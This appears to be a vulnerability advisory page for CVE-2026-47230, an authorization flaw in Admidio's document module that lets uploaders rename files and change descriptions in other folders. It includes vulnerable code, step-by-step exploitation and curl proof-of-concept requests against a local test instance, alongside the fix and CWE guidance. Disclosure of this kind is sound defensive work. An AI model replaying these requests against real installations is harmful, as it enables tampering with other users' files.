Skip to content

GHSA-q6w3-hpfv-rg36 CVE-2026-47230

Admidio: IDOR in documents-files.php allows cross-folder file rename and description changes by unauthorized uploaders

Medium Packagist
Severity
6.5 / 10
Medium · CVSS 3.1
Exploit chance (EPSS)
0.30%
Chance of exploitation in the next 30 days. Higher than 22.68% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-639 Authorization Bypass Through User-Controlled Key
CWE-863 Incorrect Authorization
Fix
5.0.10
Upgrade admidio/admidio to this version or later

Description

Summary

modules/documents-files.php mode file_rename_save shares the same root-cause shape as the cross-folder move bug (05-documents-cross-folder-move-idor.md): the top-level rights check at lines 79-89 validates hasUploadRight() on the URL parameter folder_uuid, but the rename operation acts on file_uuid — a separate URL parameter — without re-checking the folder that actually contains the file. DocumentsService::renameFile() resolves the target file via getFileForDownload() (which permits view-readable files) but does not require upload right on the file's source folder. Result: a user with upload right on any folder A can rename a file in folder B as long as they can view it. They can also overwrite the file's description.

Details

Vulnerable Code

modules/documents-files.php:79-89 — top-level check binds to URL folder_uuid:

if ($getMode != 'list' && $getMode != 'download') {
    $folder = new Folder($gDb);
    $folder->getFolderForDownload($getFolderUUID);
    if (!$folder->hasUploadRight()) {
        $gMessage->show($gL10n->get('SYS_NO_RIGHTS'));
    }
}

src/Documents/Service/DocumentsService.php:272-315 — renameFile() resolves the file via getFileForDownload() (view-only) and never re-verifies upload right on the file's parent:

public function renameFile(string $fileUUID, string $newName, string $newDescription): array
{
    $file = new File($this->db);
    $file->getFileForDownload($fileUUID);                          // <-- view rights, not upload
    ...
    $oldFile = $file->getFullFilePath();
    $newFile = $newName . '.' . pathinfo($oldFile, PATHINFO_EXTENSION);
    $newPath = pathinfo($oldFile, PATHINFO_DIRNAME) . '/';
    FileSystemUtils::moveFile($oldFile, $newPath . $newFile);

    $file->setValue('fil_name', $newFile);
    $file->setValue('fil_description', $newDescription);
    $file->save();
    ...
}

getFileForDownload() enforces only the download (read) ACL on the file's folder. There is no hasUploadRight() check anywhere in the rename path. The actual file remains in its original folder; only its name and description change. This means the modified metadata is visible to every other user who legitimately has download rights on that folder, while the modification itself was performed by a user who has no edit right on it.

Exploitation Primitive

  1. Attacker user lowuser holds folder_upload on public_uploadable (UUID c41a99c0-…). They have view (download) rights on view_only_public (UUID 21b417e2-…, fol_public=1) but no upload/edit right there. The folder contains admin_announcement.txt (UUID aaae5edd-…).
  2. Render the rename form with a folder_uuid of a folder lowuser CAN upload to and a file_uuid of the target file: GET /modules/documents-files.php?mode=file_rename&folder_uuid=c41a99c0-…&file_uuid=aaae5edd-… The top-level rights check at line 85 sees the public-uploadable folder and passes.
  3. Submit rename: POST /modules/documents-files.php?mode=file_rename_save&folder_uuid=c41a99c0-…&file_uuid=aaae5edd-… with adm_csrf_token=<from step 2>, adm_new_name=hijacked_announcement, adm_new_description=Hijacked!. Server replies {"status":"success"}. adm_files: fil_fol_id=7 (still the original view_only_public), fil_name='hijacked_announcement.txt', fil_description='Hijacked!'. On disk: admin_announcement.txt is renamed to hijacked_announcement.txt in its original folder.

PoC

Captured live against HEAD c5cde53 (mariadb on 127.0.0.1:3399, php on 127.0.0.1:8085):

$ curl -sb $cookie \
    "http://127.0.0.1:8085/modules/documents-files.php?mode=file_rename&folder_uuid=c41a99c0-…&file_uuid=aaae5edd-…"
# form rendered, CSRF token X added to session

$ curl -sb $cookie -X POST \
    "http://127.0.0.1:8085/modules/documents-files.php?mode=file_rename_save&folder_uuid=c41a99c0-…&file_uuid=aaae5edd-…" \
    -d "adm_csrf_token=X&adm_new_name=hijacked_announcement&adm_new_description=Hijacked%21"
{"status":"success", …}

$ mariadb -h 127.0.0.1 -P 3399 -u admidio -p… admidio \
    -e "SELECT fil_fol_id, fil_name, fil_description FROM adm_files WHERE fil_uuid='aaae5edd-…';"
fil_fol_id  fil_name                       fil_description
7           hijacked_announcement.txt      Hijacked!

The folder ID fil_fol_id=7 is view_only_public — the folder that lowuser had no upload right on. The change was applied as if lowuser were authorised.

Impact

A user with the most basic Documents permission — upload to a single folder — can rename and overwrite descriptions of files in any other folder they can read. Confidentiality is unaffected (the actor already had download rights on the affected files), but integrity is broken across folder boundaries. Concretely:

  • Defacement of public announcements / policies / circulars. A regular member can replace admin_announcement.txt with hijacked_announcement.txt and a description that misrepresents the content. Other readers see the malicious metadata.
  • Renaming-to-confuse. Files can be renamed to identifiers that imply different content (board_minutes_2025-Q4.pdf → board_minutes_DRAFT-do-not-distribute.pdf).
  • Description-as-XSS-vector (downstream): if any view path treats fil_description as raw HTML, this becomes a stored XSS by a low-privilege user; absent that, it is plain content tampering.

The CVSS reflects: PR:L (uploader on any folder), S:U (stays inside Admidio's authorisation model), C:N because the actor already had read access, I:H because the file's identity is changed for every other reader, A:N because files are not deleted.

Recommended Fix

DocumentsService::renameFile() must check upload right on the file's source folder before mutating it:

// src/Documents/Service/DocumentsService.php
public function renameFile(string $fileUUID, string $newName, string $newDescription): array
{
    $file = new File($this->db);
    $file->getFileForDownload($fileUUID);

    // verify the current user has upload (write) right on the file's parent folder,
    // not just download right (which getFileForDownload enforces)
    $sourceFolder = new Folder($this->db);
    $sourceFolder->readData($file->getValue('fil_fol_id'));
    if (!$sourceFolder->hasUploadRight()) {
        throw new Exception('SYS_NO_RIGHTS');
    }
    ...
}

Equivalently, in modules/documents-files.php case 'file_rename_save', resolve the file's parent folder and check hasUploadRight() against it before calling the service. The same fix should be applied to other documents-files modes that take a file_uuid independently of folder_uuid.

Related

This bug shares its root cause with 05-documents-cross-folder-move-idor.md — both flow from the top-level rights check at lines 79-89 binding to URL folder_uuid rather than the actual file's parent. A single fix to enforce source-folder upload right inside File::moveToFolder() and DocumentsService::renameFile() (and any other operations on file_uuid) closes both.

Affected versions

Packagist

PackageVulnerableFixed in
admidio/admidio
< 5.0.10
5.0.10

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

admidio/admidio Packagist → 5.0.10

composer
composer require admidio/admidio:^5.0.10

Severity breakdown

CVSS 3.1 6.5

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
High
Availability
None

Weakness

CWE-639: Authorization Bypass Through User-Controlled Key

The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data.

How to prevent it
  • Architecture and Design: For each and every data access, ensure that the user has sufficient privilege to access the record that is being requested.
  • Architecture and Design, Implementation: Make sure that the key that is used in the lookup of a specific user's record is not controllable externally by the user or that any tampering can be detected.
  • Architecture and Design: Use encryption in order to make it more difficult to guess other legitimate values of the key or associate a digital signature with the key so that the server can verify that there has been no tampering.

CWE-863: Incorrect Authorization

The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check.

How to prevent it
  • Architecture and Design: Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries. Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
  • Architecture and Design: Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].
  • Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
  • Architecture and Design: For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page. One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
  • System Configuration, Installation: Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-hm42-q32m-vj4f
Admidio: CSRF on Plugin Install, Uninstall, and Update via Unprotected GET Requests
Medium Also affects admidio/admidio
GHSA-xw54-c3mx-9pm3
Admidio: Any logged-in user can delete inventory fields via `mode=field_delete` — incomplete fix of #2024
Medium Also affects admidio/admidio
GHSA-mch8-wf3h-6x88
Admidio writes session IDs and auto-login cookie values to application logs
Medium Also affects admidio/admidio
GHSA-4rgq-38mh-9xqg
Admidio PKCS#12 private key export action lacks CSRF protection
Medium Also affects admidio/admidio
GHSA-x628-457g-2pw9
Admidio has IDOR in `documents-files.php` `mode=move_save` that lets any folder-uploader exfiltrate files from private folders
High Also affects admidio/admidio
GHSA-xg76-5qj2-2hhv
Admidio: CSRF in SSO client `enable` action toggles SAML/OIDC clients without token validation
Medium Also affects admidio/admidio
GHSA-mx25-j3rc-6w2w
Admidio's CSRF in registration `send_login` mode resets arbitrary user passwords
Medium Also affects admidio/admidio
GHSA-rwjr-qjj3-mq2f
Admidio module-administrator can delete or reorder categories owned by other modules via dead authorization check in `modules/categories.php`
Medium Also affects admidio/admidio
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor